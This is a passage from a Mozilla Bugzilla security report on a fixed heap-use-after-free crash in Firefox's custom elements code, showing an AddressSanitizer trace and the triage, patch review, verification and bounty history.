#25 0x7f7f5b8cbb97 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1309:3
#26 0x7f7f5b8cac1a in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:852:14
#27 0x7f7f5b8c77f8 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:741:9
#28 0x7f7f5b8c97bc in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:627:5
#29 0x7f7f5b8ca7dc in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp
#30 0x7f7f59c825fa in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28
#31 0x7f7f5ccaa74a in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8340:18
#32 0x7f7f5ccaa74a in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8262
#33 0x7f7f5cc8afd4 in nsIDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5224:3
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:371:37 in Length
Shadow bytes around the buggy address:
0x0c0c8003e840: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
0x0c0c8003e850: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
0x0c0c8003e860: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
0x0c0c8003e870: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd fd fd
0x0c0c8003e880: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fa
=>0x0c0c8003e890: fa fa fa fa fd fd fd fd fd[fd]fd fd fa fa fa fa
0x0c0c8003e8a0: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
0x0c0c8003e8b0: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 00 fa
0x0c0c8003e8c0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c0c8003e8d0: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x0c0c8003e8e0: 00 00 00 00 fa fa fa fa fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==13684==ABORTING
Updated•8 years ago
|
Group: core-security → dom-core-security
status-firefox60:
--- → disabled
status-firefox61:
--- → disabled
status-firefox-esr52:
--- → unaffected
status-firefox-esr60:
--- → disabled
Flags: needinfo?(bugs)
Keywords: csectype-uaf
| Assignee | ||
Comment 2•8 years ago
|
||
I guess the deletion stack misses all the interesting bits. They are somewhere higher up on the stack.
| Assignee | ||
Comment 3•8 years ago
|
||
user_pref("dom.webcomponents.customelements.enabled",true);
is not set by default. It is Nightly only.
| Assignee | ||
Updated•8 years ago
|
Assignee: nobody → bugs
Updated•8 years ago
|
Keywords: sec-critical
| Assignee | ||
Comment 4•8 years ago
|
||
CustomElementData has UniquePtr array of reactions
https://searchfox.org/mozilla-central/rev/5a744713370ec47969595e369fd5125f123e6d24/dom/base/CustomElementRegistry.h#231
Because of it being UniquePtr, clearing the array is enough to unlink
https://searchfox.org/mozilla-central/rev/5a744713370ec47969595e369fd5125f123e6d24/dom/base/CustomElementRegistry.cpp#181-200
Flags: needinfo?(bugs)
Attachment #8981237 -
Flags: review?(mrbkap)
Updated•8 years ago
|
Attachment #8981237 -
Flags: review?(mrbkap) → review+
| Assignee | ||
Comment 5•8 years ago
|
||
Comment 6•8 years ago
|
||
Group: dom-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 8 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla62
Updated•8 years ago
|
Flags: qe-verify+
Whiteboard: [post-critsmash-triage]
Comment 7•8 years ago
|
||
I have reproduced this crash using an affected fuzzing-asan-opt build (Nightly 62.0a1 from 2018-05-25), with the testcase from comment 0.
This is verified fixed on Beta 62.0b12 (20180724153316) - fuzzing-asan-opt build under Ubuntu 16.04 x64.
Updated•8 years ago
|
Flags: sec-bounty?
Updated•8 years ago
|
Flags: sec-bounty? → sec-bounty+
Updated•7 years ago
|
Component: DOM → DOM: Core & HTML
Updated•6 years ago
|
Group: core-security-release
Updated•2 years ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•